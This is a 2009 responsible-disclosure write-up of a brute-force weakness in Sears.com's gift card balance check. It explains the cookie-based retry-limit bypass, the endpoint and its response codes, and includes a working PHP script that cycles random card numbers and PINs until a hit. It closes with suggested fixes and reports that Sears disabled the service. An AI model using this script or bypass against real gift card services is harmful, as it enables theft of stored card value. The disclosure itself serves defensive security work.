

# Exploit Discovery and Disclosure: Sears.com Gift Card Verification

August 27, 2009

By Alex Firmani

Merge Database and Design

<http://merged.ca>

- I. Description and explanation
- II. Discovery process
- III. Exploits possible
  1. Brute-force verification
  2. Sample code
  3. Other vectors of possible attack
- IV. Suggested solutions
  1. Require user login before verification
  2. Record IP addresses of requestors server side
  3. Add in nonce token to verification form
  4. Log all verification requests and prevent overload
- V. Conclusion

## Description and Explanation

The exploit described below consists of a proven method to obtain verified Sears gift card numbers and PINs through a brute-force attack on the Sears.com web services.

Through a standard HTML form, the Sears.com website allows customers to verify their gift card balances online. The web service takes in a form containing keys such as giftCardNumber and giftCardPin and verifies whether or not the gift card is valid. The web service returns the current balance of the card if the number and pin represent a successful combination.

The most obvious attack possible on this web service would consist of repeatedly sending random card/PIN combinations in the correct format and waiting until a success code and balance is returned.

## Discovery Process

Because gift card databases of major retail stores contain a substantial amount of virtual cash they represent a high-value target for online thieves. The “Gift Cards” section of Sears.com was the first page that was examined in this discovery process. In the source code of that page, two javascript files were referenced that contained the scripts that processed the gift card verification forms.

Inside one of those scripts was a reference to an AJAX verification service located on the Sears.com website called *GiftCardBalanceInqCmdAjax*. It appears that this AJAX call may be deprecated on the live Sears.com website in favor of standard form submission but even if that is the case, the AJAX service still responds to requests at:

<http://www.sears.com/shc/s/GiftCardBalanceInqCmdAjax?>

By examining the form and the javascript verification of the form, certain properties were deduced:

- Keys such as storeId and catalogId should be passed
- Another key called ajaxFlag was requested; “true” was the value it required
- The proper format of gift cards was either 16 or 19 digits
- The proper format of gift card pin numbers was either 8 or 4 digits
- Server response code of 00 means success; 03 is failure; 45 is incorrect PIN

Without having to purchase a gift card, we now had all the information needed to write our own gift card verification script with the purpose of locating random gift card numbers that were currently marked as active in the Sears database. Once a correct gift card number was located, the server response code would be 45, indicating success and marking it as a candidate for PIN brute-forcing.

One easy enhancement to the exploit could be made by purchasing a few sample authentic Sears gift cards both in person and online to see if there is any pattern in the numbering that could be written into the script, cutting down on the randomness necessary to locate a correct gift card number.

## Exploits Possible

As described, the first major exploit would be possible if the Sears.com website responds to gift card verifications that are somehow tainted – either not originating from the authenticated Sears.com website form or that are too quickly repeated to be manually entered from a valid customer.

It was quickly verified that the Sears.com AJAX verification script was still up and running and it did respond to requests either in POST or GET format with a result like:

```
{"gcnumberval":"","gcpinval":"","catentryId":"","responsecode":"03","gcbalanceval":"","reloadEnabledFlag":false,"storeId":10153,"catalogId":"12605","giftCardMinimumBalance":"0","giftCardMinimumLimit":"5","giftCardMaximumLimit":"500","passwordRetryCount":"3"}
```

The flaw in the verification system was that it relied on client-side cookies to record how many attempts had been made. By crafting a different script to send the verification request – one that did not accept cookies – we were able to bypass the security and send as many requests as we wanted.

Below is the sample PHP code that could be used to hammer the web service with requests:

```
// Set base URL for requests
$url = 'http://www.sears.com/shc/s/GiftCardBalanceInqCmdAjax?storeId=10153&catalogId=12605&ajaxFlag=true';

// Init variables
$gcn = "";
$gcpin = "";
$stop = 0;
$output = "";

// Generate first random Gift Card Number (16 digit or 19 digit)
for ($x=0;$x<16;$x++) { $gcn .= rand(0,9); }

// Generate random Gift Card Pin (8 digit or 4 digit)
for ($x=0;$x<8;$x++) { $gcpin .= rand(0,9); }

// Make sure we haven't tried this number already; if so, generate a new one
$check = $core->db->query("SELECT * FROM gcn WHERE gcn='".$gcn."'")->fetch();

while ($check['gcn']!="")
{
    $gcn = "";
    for ($x=0;$x<16;$x++) { $gcn .= rand(0,9); }
    $check = $core->db->query("SELECT * FROM gcn WHERE gcn='".$gcn."'")->fetch();
}

// Record this number as an attempt
$core->db->exec("INSERT INTO gcn SET gcn='".$gcn."', gcpin='".$gcpin.'");

$url .= '&giftCardNumber='.$gcn.'&giftCardPin='.$gcpin;

// Fetch the result of our number/pin verification
$result = file_get_contents($url);

// Strip out the excess
$parse = trim(preg_replace("[^0-9a-zA-Z:;]", "", $result));

// Explode the pieces
$array = explode(";", $parse);
foreach ($array AS $rkv)
{
    $rkv = explode(":", $rkv);

    // Are we at the response code?
    if ($rkv[0]=='responsecode')
    {
        $output .= '<p>'.$gcn.': '.$rkv[1].</p>';

        // If the response code is not 03 (failure), stop the script to analyze for possible PIN brute-force
        if ($rkv[1] != '03')
        {
            $output .= '<p>'.$result.</p>';
            $output .= '<p><b>STOPPED</b></p>';
            $core->db->exec("UPDATE gcn SET success=1, responsecode='".$DBHelper::sanitize($rkv[1])."' WHERE
gcn='".$gcn.'");
            $stop = 1;
        }
    }
}

// Reload the page if gift card number was not successful
?>
<html><head><title>Sears.com</title>
<script type="text/javascript">function reloadit() { document.location.href='sears.php'; }</script>
</head>
<body <?php if ($stop!=1) { ?>onload="setTimeout('reloadit()',200);"<?php } ?>>
<?php echo $output;?>
</body></html>
```

## **Other Vectors of Possible Attack**

The total time elapsed from searching for a gift card security issue to having a working script and database combination to exploit it was under two hours, showing the need for full attention to all points of unauthorized entry and possible loss. Other opportunities of related attacks would be the gift card verification routines on other Sears.com properties and also the main verification script that does not utilize the AJAX routine. The main verification script on Sears.com uses a “krypto” form field to encode the number/PIN combination and it has not yet been examined for security.

## **Suggested Solutions**

The best solution would be to require a valid user account login before allowing gift card verification requests. You could then record the number of verification requests and lock out any offending accounts automatically and without relying on client-side cookies. Even without a custom written brute-force script as shown above, a user could also disable cookies on their browser and bypass that level of security. Recording requests server-side would be a more reliable way of handling repeat request offenders.

One alternate solution if you still wish to allow guests to verify gift cards would be to record their IP addresses in a server-side database and then lock out suspicious requests from further verification attempts. The downside to this is the easy availability of proxy lists so that guest verification requests could be coming from botnets or proxied servers worldwide and never appear as the same user to the server-side IP analysis.

A second alternate solution that could also be implemented along with the user account requirement would be to add a token “nonce” – number used once – to the verification form. When the server-side JSP generates the HTML page, it also would generate a random number/string that is then sent as a cookie to the user's computer. That nonce is also recorded in the database as a valid token for verification form submission. The effect of this is that a custom written script, like the one above, would have to be modified and may not ever be made to work due to the requirements of generating a unique nonce, accepting cookies, and then correctly feeding the nonce back in the verification form. It would not stop all attacks but it would make the approach of an attack substantially more complex.

A third tangent solution would be to log all verification requests and have a cron script simply shut down the verification response server if more than a certain number of requests come in per minute. This would give your engineers time to analyze and stop the brute-force attack manually.

## **Conclusion**

Within a few hours of notifying Sears Holding Company, web services handling gift cards are now responding to all verification requests with a response code of “31” indicating an inability to process the number/PIN combination. Further steps should be taken to secure the process before opening up verification and gift card balance checking to the general public.